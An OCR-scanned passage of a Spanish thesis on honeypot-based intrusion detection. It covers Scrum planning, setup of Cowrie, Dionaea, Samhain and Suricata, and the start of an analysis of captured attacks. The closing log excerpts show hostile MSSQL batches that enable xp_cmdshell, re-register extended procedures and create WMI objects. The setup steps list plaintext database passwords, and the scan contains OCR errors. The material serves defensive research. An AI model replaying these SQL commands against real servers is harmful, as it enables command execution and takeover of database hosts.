circunstancias del proyecto. Se constituye del siguiente conjunto de
elementos: Equipos Scrum, roles, eventos, artefactos y reglas asociadas.

Cada uno de estos componentes sirve a un objetivo especifico.
Como método agil:

e Es un modelo de desarrollo adaptable antes que predictivo
e Orientado a las personas mas que a los procesos
e Emplea el modelo de construccion incremental basado en

iteraciones y revisiones.

Se comienza con una visién general del producto, especificando y dando
detalle a las funcionalidades o partes que tengan mayor prioridad, y que
puedan llevarse a cabo en un periodo de tiempo corto. Cada uno de estos

periodos es llamado iteracién o sprint.

Es en estas iteraciones donde se llevan a cabo las reuniones y los avances

practicos en el proyecto.
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Scrum Process

&

Scrum Master

Daily Scrum

SPRINT
1-4 WEEKS

&

Sprint
Review
+
Sprint
Retrospective

Product Sprint Planning Sprint Finished
Backlog Meeting Backlog Work

Product Owner Team

Visién general Scrum 1

Equipo Scrum

El equipo Scrum lo definen diversos roles en funcion de las
responsabilidades y deberes de cada persona en el proyecto. A
continuacion, se van a definir algunos de esos roles para ver cOmo se

organizan:

e El propietario del producto:
o Esquién decide en dltima instancia como sera el resultado final,
y el orden en el que se van realizando los sprints.
o Establece las funcionalidades del producto y establece los
elementos en la pila del producto (Product Backlog).
o Participa en todas las reuniones del equipo Scrum.
o Tiene la responsabilidad de hacer que el equipo de desarrollo
entienda los elementos de la pila del producto.
o Suele ser una Unica persona.
o Tiene como deber el analizar de forma continua la evolucion del
proyecto y la informacion de negocio relativa a este.
o Representa ala empresa, en el caso de ser un proyecto interno,
o al cliente, si el proyecto es externo.
e Scrum master
o Cumple la funcién de intermediario entre el propietario del
producto y el equipo de desarrollo.

o Hace también la funcion de lider para el equipo de desarrollo.
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o Su deber varia en funcion de con que miembro del equipo

Scrum se relacione, asi vemos:
= EIl servicio del Scrum Master con el propietario del
producto.

e Consejero para gestionar la pila del producto.

e Explica al equipo de desarrollo la importancia de
la pila del producto y de su organizacion.

= El servicio del Scrum Master con el equipo de desarrollo.

e Tiene el rol de lider, portavoz y sirviente del
equipo de desarrollo.

e Elimina los impedimentos y ruidos para el equipo
de desarrollo.

e Facilita los distintos eventos Scrum segun se
vayan necesitando.

e Si el equipo de desarrollo desconoce esta
metodologia, el Scrum master tiene el deber de
instruir al equipo en ella.

e El equipo de desarrollo

o Equipos pequeiios, de entre 4y 9.

o Equipo multidisciplinar, es decir, cada equipo tiene
profesionales de distintas ramas. Ejemplo: en lugar de un
equipo de programadores, o0 un equipo de disefiadores, se
tienen en el mismo equipo un programador, un disefiador, un
testeador, etc...

o Son equipos auto-organizados, es decir, cada equipo tiene
autonomia para saber cémo llevar a cabo el elemento de la pila
de producto que le toca.

o Laresponsabilidad de cada elemento de la pila de producto que

le toca a un equipo recae a todo el equipo por igual.
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¢ Planificacion del sprint

o Reunidn previa al desarrollo de un sprint, es una reunién que

debe durar entre unas 4 — 8 horas y que constara de dos partes:

= Enlaprimera

El propietario muestra las funcionalidades de la
pila del producto y la prioridad que tiene cada una.
Debe explicarse lo suficientemente claros los
puntos para que el equipo de desarrollo tome las
decisiones correctas.

El equipo de desarrollo, por su parte, realiza las
preguntas que estime opotunas para que queden
claras sus funciones. También puede proponer
soluciones alternativas a las ya dadas por el

propietario del producto.

= Enlasegunda

Una vez elegida la funcionalidad a la que va a
enfocarse el equipo, queda la organizacién de su
desarrollo. Es en esta parte donde se desglosa el
objetivo del sprint en diversos puntos para el
correcto reparto de cada pequefa funcionalidad
entre los miembros del equipo, acorde a criterios
de conocimiento de cada uno, carga de trabajo,
etc.

e Reunién Scrum diaria

©)

©)

Breve reunion diaria de 15 minutos.

Su objetivo consiste en: ver que se hizo ayer, ver que se hara

hoy y si hay algun problema para ello como solucionarlo.

Se hace uso del sprint backlog para anotar que tareas estan

finalizadas, que tareas estan asignadas y que tiempo queda

restante para las que aun no estan terminadas.
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o Tras acabar la reunién el equipo refresca el grafico de avance

del sprinty el Scrum master empieza la gestion de necesidades

e impedimentos identificados.

e Revision del sprint

©)

Reunion al final de un sprint, en la que se comenta en que se
ha basado este sprint, como se ha desarrollado y que se ha
conseguido.

Esta reunién tiene un caracter informal, y su duracién ha de ser,
como mucho de 4 horas.

En esta reunion se muestran resultados de lo que se ha
obtenido, por ejemplo, una demo de la funcionalidad recién
desarrollada.

Se tiene como objetivo exponer que se ha conseguido y que no
durante el sprint, ademas de, actualizar la pila de producto
acorde a los resultados obtenidos (Estimacién de tiempo, coste

de trabajo del equipo de desarrollo, prioridad,...).

e Retrospectiva del sprint

o

o

Artefactos

Esta reunion tiene como objetivo evaluar al propio equipo.
Sirve para evaluar la relacién del equipo con la metodologia, ver

fortalezas del equipo y solucionar debilidades.

e Pila de producto (Product backlog)

o

o

Lista de requisitos del cliente.

Recopila el conjunto de funcionalidades, mejoras, tecnologia y
correccion de errores relativas al proyecto.

Es continuamente reevaluada al final de cada sprint.

Se ve afectada tanto por los resultados, como por los cambios
de mercado.

Tiene como objetivo mostrar una vision general de las tareas

pendientes.
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o Se puede mostrar de multitud de formas. Si, por ejemplo, se

decide exponer como una lista, ha de tener en cada fila como

minimo estos campos:

= |dentificador Unico de la funcionalidad.

= Descripcion de la funcionalidad.

= Campo o sistema de priorizacion.

=  Estimacion.

ToDo List

1D Story Estimation Priority
7 As an unauthorized User [ want to create a new
account 3 1
1 As an unauthorized User [ want to login 1 2
10 As an authorized User I want to logout 1 3
9 Create script to purge database 1 4
2 As an authorized User I want to see the list of items
so that I can select one 2 5
4 As an authorized User I want to add a new item so
that it appears In the list 5 6
3 As an authorized User I want to delete the selected
item 2 7
S As an authorized User I want to edit the selected
item 5 8
6 As an authorized User I want to set a reminder for a
selected item so that [ am reminded when item is
due 8 9
8 As an administrator I want to see the list of accounts
on login 2 10
Total 30

Pila de producto 1

e Pila del sprint (Sprint backlog)

o Lista creada a partir del desglose de uno de los requisitos de la

pila del producto.

o Laidea aqui es, una ver elegido el objetivo de un sprint, dividir

este en tareas abarcables por el equipo de desarrollo, una vez

se tiene una lista de funciones y métodos a implementar cada

miembro del equipo puede elegir en que se va a enfocar.

o Puede tener el formato de una pizarra accesible a todo el equipo

en el que se expongan las tareas en secciones: pendiente,

realizada, adjudicada, etc.

también se pueden utilizar hojas de calculo.

Existen herramientas software que cumplen este propdsito,
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Sprint Backlog

Forecast To-Do In-Progress Done

duis
Fix My Profile -
5
B

Filter Service ; ; -
Tickets aliguip
|

M “
Quick Tips 7 7 7
3

Pila del Sprint 1

L

Aplicacion de la metodologia
Sprint 1 — Introduccion

e Motivacion del trabajo.

e Andlisis del problema.

e Definicion de IDS.

e Definicion mineria de datos.

e Metodologia de desarrollo del trabajo.

Sprint 2 — Deteccion de intrusiones
e Estudio de sistemas de deteccion de intrusiones.
e Justificacion de la solucién o soluciones elegidas.
¢ Implantacion y puesta en marcha de las soluciones

e Recopilacion de datos

Sprint 3 — Mineria de datos
e Estudio de diferentes técnicas de mineria de datos.
e Justificacion de la solucion o soluciones elegidas.

e Aplicacion de las soluciones elegidas.

Sprint 4 — Conclusiones
e Evaluacioén de los resultados obtenidos.

e Desarrollo y entrega de la memoria.
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INSTALACIONES Y CONFIGURACIONES
Cowrie

Instalacion
Para instalar Cowrie, primero hemos de descargar el repositorio de GitHub

con la orden:

e Git clone https:///github.com/cowrie/cowrie

Después entramos en la carpeta e instalamos las dependencias necesarias

con.

e Pip install -r requirements.txt

Seguidamente satisfaremos las siguientes dependencias en el caso de no

estar instaladas en nuestro sistema

o Git

e python-virtualenv
e libssl-env

e libffi-dev

e build-essential

e libpython3-dev

e libpython-dev

e python3-minimal

e python2.7-minimal

Se recomienda crear un entorno propio para manipular este tipo de
herramientas, asi que lo primero que haremos sera crear un usuario para

usarlas.

e Adduser -disabled-password cowrie
e Hay que afadirlo para el grupo de usuarios que es capaz de usar
sudo, ya que necesitaremos configurar varias cosas desde este
usuario. Para ello:
o Con la orden visudo accedemos al archivo etc/sudoers.tmp
o Anfnadimos lalinea cowrie ALL=(ALL:ALL) ALL debajo dela
de root.

A continuacion, clonamos el repositorio de git. Necesitamos crear un
entorno virtual para ejecutar en el nuestro honeypot, de forma que su
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ejecucion quede aislada del resto del sistema de archivos. Para ello

necesitamos la siguiente orden:

Configuracion

Virtualenv -python=python3 cowrie-env (puede ser
también -python=python2.7)

Los archivos a modificar para afinar la configuraciéon son:

Cowrie.cfg: Aqui definiremos los patrones de configuracion para este
honeypot. Esta dividido en secciones y cada una reline una serie de
caracteristicas para configurar la herramienta. Nos centraremos en
los valores mas interesantes para cambiar:

o General Cowrie Options: En esta seccién se definen el
nombre del honeypot tanto para el registro como para la Shell
gue se vera en el prompt del atacante, los directorios en los que
se almacenan los logs y los archivos dejados por el atacante.
Ademas, podemos definir también el tiempo que permanece el
honeypot activo, tanto con la sesion iniciada como sin iniciar.

Sensor_name: Con esta opcién le damos un nombre de
evento a nuestro honeypot para poder facilitar su
seguimiento. Lo suyo es que pongamos alguno
identificable. En nuestro caso lo llamaremos: seaShell

Hostname: En este parametro definiremos el nombre de
host que se imprimira en el Shell del entorno virtual,
debemos elegir uno que sea creible. En nuestro caso,
webmaster.

Interactive_timeout: Para definir cuanto tiempo pueden
permitirse las conexiones abiertas estando ociosas, es
decir, sin actividad. Dejaremos la opcion por defecto, 3
minutos.

Authentication_timeout: Tiempo para desconexion si el
atacante no ha conseguido loguearse. Lo cambiaremos
a cuatro minutos en lugar de los dos que hay por defecto
para dar mas tiempo al atacante a colarse.
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o Network Specific Options: En esta seccion se especifican las
direcciones ip , una para atar las conexiones salientes que se
hagan desde el honeypot, otra para definir una ip falsa que sera
la que vea el atacante y otra para establecer la ip desde la que

ser& alcanzable desde internet (ip publica).

= Qut_addr: Direccion ip a la que conectarse cuando se
realizan conexiones salientes. La dejaremos sin
especificar por defecto.

= Fake_addr: Direccion ip que aparecera como la ip de la
maquina para aquellos que se conecten, no afecta al
registro, su utilidad es para dar informacion falsa a
algunos escéaneres como el comando w y el comando
last que dicen quien esta conectado y haciendo que.
Pondremos una cualquiera que no tenga relacién que las
maquinas de nuestra red, en nuestro caso:
192.168.66.254.

= Internet_facing _ip: Direccién ip desde la cual el
honeypot seréa alcanzable desde internet. Si est4 vacio
Cowrie pondra una.

o Authentication Specific Options: En esta seccion se activa y
especifica tanto la clase para el método de autenticacibn como
la cantidad como sus atributos (méaximo y minimo namero de
intentos, y la cantidad de permutaciones usuario/contrasefia
gue permitird la caché).

o Shell options: En esta seccion se definen pardmetros del
sistema falso, su arquitectura, el directorio donde se establece
el sistema de ficheros falsos, que procesos van a “aparecer”,
también se define de qué tipo de maquina y SO va a darse la
informacion.

¢ Filesystem: Sefala donde se encuentra el fichero pickle que
define el sistema de ficheros falso. Lo dejaremos por
defecto.

e Processes: Define la ruta donde esta el archivo con los
“procesos activos” del honeypot. Lo dejaremos también por
defecto.
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e Arch: Para elegir una arquitectura falsa, Cowrie nos da la
opcion de escoger una respuesta para cuando se intenta
leer un ejecutable. En esta seccion elegimos una
arquitectura para acompafar la respuesta de algunas
ordenes. Dejaremos la de Linux-x64-Isb por ser la mas
usual.

Adicionalmente Cowrie nos permite modificar la respuesta
del comando uname de cara al atacante, definiendo los siguientes

parametros:
Kernel_version:3.2.0-4-amd64
Kernel_build_string: #1 SMP Debian 3.2.65-1+deb7ul
Hardware_platform: x86_64
Operating_system: GNU/Linux

Lo ideal es que estos cuatro parametros estén bien
relacionados con la intencion de dar mas la sensacion de estar
en un sistema real. Otra recomendacion es que parezcan de un
sistema que lleve tiempo, ya que al ser mas antiguo dara mas

sensacion de ser facil de atacar.

o SSH Specific Options: Aqui definimos atributos relacionados
con el servicio SSH que pretendemos emular para que el
atacante acceda al honeypot. Entre otras caracteristicas
encontramos la definicion de la direccion ip y del puerto de
escucha, el directorio de las claves publica y privada para
realizar las comunicaciones, la version de SSH que queremos
usar para enmascarar la nuestra y engafar al atacante.
También podemos activar el protocolo de transporte de archivos
de SSH (SFTP), asi como activar el reenvio de puertos ssh.

e Reported_ssh_port: Puerto para reportar en los logs. Lo
modificaremos para que registre el puerto al que vamos
a redirigir las conexiones ssh. En este caso al 2222.

e Version: Este campo nos sirve para disfrazar nuestro
honeypot como una version de SSH. La opcién por
defecto nos viene bien, ya que la aparenta tener un
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tiempo (de 2012) lo cual puede ser goloso para un
atacante.

A continuacién, nos vamos al campo de listen_endpoints

ya que listen_addr y listen_port estan obsoletos.

e Listend_endpoints: Puerto a escuchar para las
conexiones entrantes SSH. Sigue el siguiente esquema:
tcp:puerto:interfaz:dirlP. En nuestro caso podemos
dejarlo asi: tcp:2222:interface:127.0.0.1. El puerto 2222
es porgue redirigiremos todo el trafico del puerto 22 al
2222.

e SFTP_enabled: La dejaremos activa. Ya que es el
protocolo de descargas de ssh y nos sirve para
descargar el malware que nos quiera dejar el atacante.

o Telnet Specifics Options: Similar al apartado dedicado a SSH,
aqui se define la direccion ip y los puertos de escucha para
telnet en cowrie. Esta opcién la mantendremos desactivada ya
gue queremos centrarnos en el tipo de ataque centrado en el
puerto 22. Ademas de que telnet es altamente inseguro al viajar
las credenciales de inicio de sesion en texto plano, por lo que
no nos merece la pena estudiarlo.

o Database Loggin Specific Options: Esta seccién se centra
exclusivamente para subir los logs a un servidor XMPP
(protocolo de mensajeria abierto basado en XML). Esta seccion
la ignoraremos ya que esté enfocada al registro en un servidor
XMPP lo cual no forma parte de este trabajo.

o Outout plugins: En esta seccion se establecen los parametros
necesarios para hacer compatible cowrie con distintos servicios,
por ejemplo, con programas como mysgl o mongodb para
registrar en sus bases de datos el contenido de los logs de
Cowrie. Para esto por cada programa adicional compatible,
tendremos que especificar usuario/contrasefia, direccion IP y
puerto. Cada moédulo puede tener algunos parametros
adicionales (como especificar el nombre de la base de datos o
una url).
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e Output_jsonlog: Esta seccién podemos dejarla por defecto,
ya que tiene ya definido el directorio donde se generara los
archivos JSON.

e Output_mysql: Aqui definiremos los datos del usuario de
mysql para que los registros queden en una base de datos,
primero quitamos las comillas y a continuacion definiremos
los atributos:

e Enabled = true

e Host = localhost

e Database = cowrie

e Username = cowrie

e Password = sabadoMerendarCoche532
e Port=3306

e Debug = true

Userdb.txt: En este documento se incluiran una serie de parametros para
definir usuarios falsos. Estos usuarios son los que seran validos dentro del
sistema falso creado por el honeypot. Es importante que parezcan creibles
para no levantar sospechas al atacante.
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Dionaea

Instalacion

Para instalarlo, se han de seguir los siguientes pasos:

1. Lo descargamos de su repositorio de Github

2. Satisfacemos las dependencias mediante la orden apt-get install.

3. Tras esto creamos una carpeta en la que llevaremos a cabo el
proceso de instalacion, para ello solo nos resta las tres siguientes
ordenes

a. Cmake -DCMAKE_INSTALL PREFIX:PATH=/opt/dionaea ..
b. Make
c. Make install

Configuracion
El archivo a modificar es /opt/dionaea/etc/dionaea/dionaea.cfg y consta de

las siguientes secciones:

e Dionaea:

o Download.dir: Para definir el directorio global de descargar por
algunos ihandlers.

o Listenmode: Para seleccionar como queremos que dionaea
una los servicios del honeypot a las direcciones ip.

= Getifaddrs — auto: ElI honeypot coge la lista de
direcciones IPs relacionadas con cada servicio. También
es posible definirla en un archivo mediante la opcion
listen.address.

= Manual: se ha de definir la lista de direcciones ip
manualmente, separadas entre comas. Aqui el uso de
listen.address es obligatorio.

= NI (lista de interfaces): similar al modo manual. En este
caso si una direccion ip ha sido afiadida a una interfaz o
quitada, dionaea activard o desactivard el servicio
destinado a esa IP.

o Modules, para ver que médulos carga (separar por comas): curl
(para la transferencia de archivos al servidor), emu (para
detectar codigo shell), pcap(para detectar intentos de conexion
que se hayan rechazado), python(para activar los scripts de
dionaea escritos en python).

o Processors: Para controlar las acciones bi-direccionales que
acontecen cuando estamos siendo atacados.

= Emu: Para usar libemu para encontrar y emular
shellcodes.
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= Filter: Para filtrar que tipos de conexiones tenemos. Su
configuracion se basa en de que protocolos vamos a
aceptar conexiones y de cuales vamos a conectarnos.
= Streamdumper: Vuelva la informacién de una conexion
en un directorio. Esto se puede utilizar para recrear el
ataque.
o Datos para SSL: Se pueden definir algunos datos para emular
un certificado.
Logging: En esta seccion se definen parametros enfocados al tipo
o formato en el que dionaea creard los registros. Se puede definir el
nombre del archivo de log, especificar de qué dominio queremos
registrar la actividad e incluso el tipo de informacion que queremos
(advertencias, errores, fallos criticos, etc.).

En esta ocasion nos conviene mantener los valores por defecto.

Samhaim

Instalacion

Para instalarlo empezamos por descargarlo de la pagina oficial con wget.

Tras esto hemos de descomprimirlo, la descompresién tiene dos partes:

1. Laque descomprime tanto la clave de comprobacion como el archivo

de la segunda parte. Obtener estos archivos tecleamos:
a. Gunzip samhaim-current.tar.gz
b. Tar -xf samhaim-current.tar

Esto nos devolvera dos archivos:

a. Samhaim-4.3.1.tar.gz
b. Samhaim-4.3.1.tar.gz.asc
Necesitaremos el archivo Samhaim-4.3.1.tar.gz el cual
descomprimiremos de similar manera al archivo original.
Tras la descompresion necesitamos tener claros ciertos parametros
antes de iniciar ./configure.
1. -enable-login-watch
2. —enable-identity=azelMaster
3. —with-port=(puerto) (En el caso de
que el puerto 49777 esté ya ocupado)
4. —-enable-xml-log
5. —enable-debug.
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Se recomienda la instalacion con el usuario root ya que se necesitan sus

permisos para manejar algunos archivos del sistema y para poder

monitorizar los puertos privilegiados (Los que estan por debajo del 1024).

También se recomienda revisar los informes de samhain (los informes de

registro de firmas y checksums de los archivos de DB y configuracion).

Finalmente con las opciones escogidas el comando ./configure nos quedara

asi:

e ./configure—-enable-login-watch—-enable-
identity=azelMaster -enable-xml-log —-enable-debug.

Tras esto nos queda make && make install.

Configuracion

El archivo de base de datos esta en /usr/local/var/lib/samhain, sin embargo,
la ruta puede definirse en el archivo samhainrc en /etc/samhain. El valor a
modificar para especificar donde vamos a guardar nuestro archivo con la
base de datos es setDatabasePath (hay que poner la ruta completa
incluyendo el nombre del archivo de la base de datos, si no existe se crea).

Chequeo de integridad

Orden: samhain -t check

Deteccion de kernel rootkits

Funcionalidad eliminada por obsoleta ante el desarrollo moderno de kernels

Monitorio logeo/deslogeo

Empieza por activar esta opcion en el configure antes de instalarlo.
-—-enable-login-watch

Esto esta ya hecho.

Primer logeo
Para registrar el primer logeo de un host o dominio. Mirar la opcién

LoginCheckFirst = no|yes|domain
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Si esta puesto a ‘yes’, samhain registrard cuando un usario se loguee de

algun host que no se haya registrado antes.

Si esta puesto a ‘domain’, se chequea el dominio o subred en lugar del

host.

Anomalia estadistica

Para registrar ocasiones inusuales de logeo. Esta opcién tendra efecto
una vez que un usuario se haya logeado varias veces y una base de datos
de veces de logeo haya sido construida previamente para dar un analisis
estadistico de deteccién de anomalias. Como se basa en estadisticas es

inevitable que de falsos positivos.
LoginCheckOutlier = no|yes|paranoid

Si esta puesto a ‘yes’ samhain registrara en el caso de que samhain

piense gue el registro es una anomalia con un 99% de probabilidad.
Si esta puesto a ‘paranoid’ el porcentaje se bajara al 95%.

Reqistro de la fecha (global)

Registro de eventos de inicio de sesién que ocurran fuera de alguna

restriccion dada. Esta opcion esta configurada con la directiva:
LoginCheckDate = fecha
Valores para fecha: ‘always’, ‘never’, ‘workdays’ (Mo-Fr)

Reqistro de la fecha (individual)

Para registrar eventos de inicio de sesion de un usuario concreto fuera de

alguna restriccion de fecha dada.
LoginCheckUserDate = user:fecha

En nuestro caso la modificacion en nuestro archivo samhain afadira la

siguiente parte

[Utmp]
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LoginCheckActive = True
LoginCheckFirst = yes
LoginCheckOutlier = yes
SeverityLogin=info
SeverityLoginMulti=warn
SeverityLogout=info
Vigilancia de los directorios de los honeypots

Para ello dentro de la seccidn [IgnoreNone] afiadimos las siguientes lineas

e dir=/home/cowrie
e dir=/opt/dionaea

Almacenaje de los archivos completos
Samhain ofrece la opcion de almacenar los archivos completos que

monitoriza. La idea detras de esto es ver qué cambia en los archivos que

han sido modificados.
Esta opcidn se ha descartado debido a los siguientes motivos:

e Tiene un limite de tamafio para los archivos.

e Se sale del ambito del trabajo (pretendemos detectar si el atacante
alcanza los archivos del sistema legitimo en el caso de que consiga
darse cuenta y evite los honeypots).
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Suricata

Instalacion

Lo primero es obtener el archivo comprimido donde esta suricata para ello
podemos servirnos del comando:

wget

https://www.openinfosecfoundation.org/download/suricata-

4.1.0.tar.gz

Antes que nada, resolvamos una serie de dependencias, probablemente
muchas ya las tengamos resueltas por defecto o debido a instalaciones
previas:

libpcre3 libpcre3-dbg libpcre3-dev \

build-essential autoconf automake libtool libpcap-dev
libnetl-dev \

libyaml-0-2 libyaml-dev zliblg zliblg-dev libcap-ng-dev

libcap-ng0 \
make libmagic-dev libjansson-dev libjansson4 pkg-config

Si queremos usarlo como IPS ademas debemos instalar:

e libnetfilter-queue-dev libnetfilter-queuel
libnfnetlink-dev libnfnetlinkO

Ahora descomprimiremos el archivo con los ficheros de instalacion:

e Tar —-xvzf “suricata”

Por dltimo nos queda ejecutar el archivo ./configure con los siguientes

parametros (en el caso de IPS):

e -—-enable-nfqueue --prefix=/usr -sysconfdir=/etc -
localstatedir=/var

Tras esto, solo nos resta make && make install &&ldconfig

Una vez los tengamos instalado debemos modificar el archivo de

configuracion “suricata.yaml” para que la variable “default-rule-path” apunte
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a donde tenemos realmente las reglas, en nuestro caso en

/etc/suricata/rules.

Rules
Las reglas son archivos que definen como se ha de filtrar el tréfico. Estas

reglas siguen la siguiente gramatica:

e Accion Cabecera Opciones de la rule

Donde:

e Accidén determina que se va a hacer con el tréfico filtrado.

e Enlacabecera se definen el protocolo, los puertos, direcciones, etc.

e Opciones de la rule definen las condiciones especificas que crean
el filtro.

En esta seccidn explicaremos algunas de las reglas utilizadas, para nuevas
hemos de modificar el archivo suricata.yaml y meterlas como una rule méas

de la seccioén “rule-files”

e Putty blaclist.rules: Esta rule ha sido creada a partir de un ejemplo
de la documentacion. En ella se registrara y rechazara toda conexion
al puerto 22 que venga del programa "PUTTY”. En esta version
modificada si toleraremos la conexion que provenga de cualquier

otra libreria.
e http-events.rules: Registra eventos anémalos de http.

Decoders-events.rules: Registra eventos relacionados con los protocolos
IPv4 e IPVv6.

Configuraciones del sistema

Se ha modificado el nombre del usuario pi por azelMaster

Se recomienda redirigir el trafico del puerto 22 a otro que no tenga implique

permisos de root. Para ello haremos uso de la siguiente orden:

e Tptables -t nat -A PREROUTING -p tcp -dport 22 -3
REDIRECT —-to-port 2222

También es recomendable que, para realizar este tipo de experimentos

coloquemos nuestro sistema en una DMZ, la idea de esto es la siguiente:
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e Porun lado, sacamos el dispositivo de la proteccion del router lo que
hace que sea mas visible a posibles ataques, lo cual nos conviene
para recoger datos.

e Por otro, alejamos nuestro dispositivo del resto de la red, de forma
que al estar en otra, si le pasa algo a nuestro dispositivo es mas

dificil que se extienda al resto de la red.

Mirar seccién “Recopilacién de datos”, subsecciéon “Preparacion previa”

mysqlServer
Instalacion

Lo primero sera instalar mysql-server y python-mysqgldb. Para ello podemos

usar la orden:

e apt-get install mysgl-server python-mysgldb
Configuracion

Cowrie

La configuracion para cowrie tiene dos partes:

e La creacién de la base de datos y el acceso del usuario cowrie
o Una vez entremos como el administrador, creamos la base de
datos con:
» CREATE DATABASE cowrie
= GRANT ALL ON cowrie.* TO ‘cowrie’@’localhost’
IDENTIFIED BY ‘sabadoMerendarCoche532’

o Tras crear la base de datos debemos darle la forma de los logs de
cowrie, para ello entramos en la base de datos como el usuario
destinado a usarla con la orden:

=  Mysqgl —u cowrie —p
o E insertamos las siguientes oOrdenes para cumplir con nuestro
objetivo
= USE cowrie; //[Para cambiar a esta base de datos
= Source ./docs/sql/mysql.sql //para introducir el esquema
definido en el archivo

o Tras esto salimos.

e La configuracion dentro del archivo .cfg de cowrie para introducir las
credenciales de al BD.
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Myphpadmin

Instalacion

Para ello solo tenemos que instalarlo mediante: apt-get install phpmyadmin.
Esto nos servira para tener una interfaz gréafica para nuestra base de datos

de mysqglserver.

Lo primero que nos saldra durante la instalacion sera una pregunta acerca

de que servidor web para configurar automaticamente

LK) Ecowegraspoeryp . [azeiMastergrasober | 3% ox] 19ae

Instalacion phpmyadmin 1

Lo siquiente que nos pregunta es si queremos que phpmyadmin se
configure automaticamente con las bases de datos ya instaladas o si
gueremos hacerlo manualmente, como ya tenemos una base de datos

creada podemos dejar que phpmyadmin se encargue
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Instalacion phpmyadmin 2

Lo siguiente sera definir una contrasefia para phpmyadmin en la base de
datos, nosotros pondremos como password ‘claseMarina365mecanica’,

confirmamos contrasefia y listo

Otras instalaciones
Alternativamente podemos instalar algunas aplicaciones mas para cowrie

que pueden ayudarle a afinar mas su cometido, tales como:

e Squid: servidor proxy para web con caché. Guarda peticiones
recurrentes a servidores web y dns para acelerar el acceso a un
servidor web o para realizar filtrados de trafico. Se instala mediante
la orden apt-get y su archivo de configuracion para cowrie lo
podemos encontrar en /cowrie/docs/squid/squid.conf.

Kippo-graph

Instalacion

Kippo-graph es el visualizador web de kippo, pero Cowrie puede hacer
exactamente el mismo uso de él, por lo que nos viene bien para visualizar
los datos. Para descargarlo solo tendremos que copiarlo de su repositorio

con git clone.

Configuracion

Para ello necesitamos copiar el archivo config.php.dist en uno config.php,

después solo tendremos que tocar los datos relativos a la base de datos
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para que pueda coger los datos y cambiar al final el motor back-end para

poner Cowrie.

Introduccion a algunas de las amenazas de Dionaea

Esta seccion esta orientada a explicar la situacion frente a las amenazas

recogidas por los registros de Dionaea. El objetivo de esta seccion es, una

vez recogida suficiente informacion, ver y explicar en que han consistido

los ataques. Esto nos sirve para tener una base de cara a la seccion de

mineria de datos, ya que para poder crear un modelo util, primero hemos

de saber de donde hemos sacado la informacién para crearlo.

De todos los servicios y protocolos de Dionaea, se ha detectado actividad

relevante en los siguientes:

MSSQL

Con respecto a este servicio, hemos detectado lo siguiente:

Row14454 SQL BATCH : b"exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL, 1 where 'a'='A" select 504,c.name, c.description, c.definition from master.dbo. c,master.dbo.

Row14789 'SQL BATCH : b"exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL, 1 where 'a'='A’ select 504,c.name,c.description, c.definition from master.dbo c,master.dbo.

Row14865 SQL BATCH : b'SELECT @@VERSION '

Row14941 SQL BATCH : b'use master '

Row135017 SQL BATCH : b'Drop Procedure sp_addextendedproc '

Row15093 SQL BATCH : b'Drop Procedure sp_addlogin'r\nDrop Procedure sp_droplogin'y\nDrop Procedure sp_addsrvrok ber '

Row15171 SQL BATCH : b"oreate procedure sp_s oc @functname nvarchar(517), @dlname varchar(255) as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc’) return (:
Row15247 SQL BATCH : b'Drop Procedure xp_cmdshell\r\nDrop Procedure sp_OAMethod \nDrop Procedure sp_OACreate\r\nDrop Procedure sp_OASetProperty 'y \niDrop Procedure sp_OADestroy'y iDrop Procedure xp_regwrite\ry
Row15332 SQL BATCH : b"use master \y \ndbcc addextendedproc (xp_cmdshell,'xplog70.dil) y\ndbcc addextendedproc (sp_OAMethod','odsole 70.dI) i \ndbce addextendedproc (xp_servicecontrol’, xpstar.dll’) y \ndbec

Row15420 SQL BATCH : buse [master] EXEC sp_configure N'dr enabled’, N'1' RECONFIGURE WITH OVERRIDE exec sp_changedbowner 'sa’ alter database [master] set TRUSTWORTHY on RECONFIGURE WITH OVERRIDE "

Row 15496 SQL BATCH : b"EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE eXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1 RE
Row15572 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate 'WhemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objLocator, 'ConnectServer', @objwmi
Row 15648 SQL BATCH : b'DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate 'WbemScripting. SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objLocator, ConnectServer', @objWmi
Row15724 SQL BATCH : b'DECLARE @abjLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objLocator,'ConnectServer', @objwmi
Row 15800 SQL BATCH : b'DECLARE @objlocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate 'WbemScripting. SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objLocator, ConnectServer', @objWmi
Row15876 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objLocator,'ConnectServer', @objWmi
Row15952 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate 'WbemScripting, SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objLocator, ConnectServer', @objWmi
Row16028 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objlocator,'ConnectServer', @objwmi
Row 16104 SQL BATCH : bDECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WhemScripting. SWhemLocator', @objlocator OUTPUT EXEC sp_OAMethod @objlocator, ConnectServer', @objwmi
Row16180 SQL BATCH : b'DECLARE @objLocator int, @objWmi int, @objPermiss int, @objFull int EXEC sp_OACreate "WbemScripting. SWhemLocator', @objLocator OUTPUT EXEC sp_OAMethod @objLocator,'ConnectServer', @objWmi
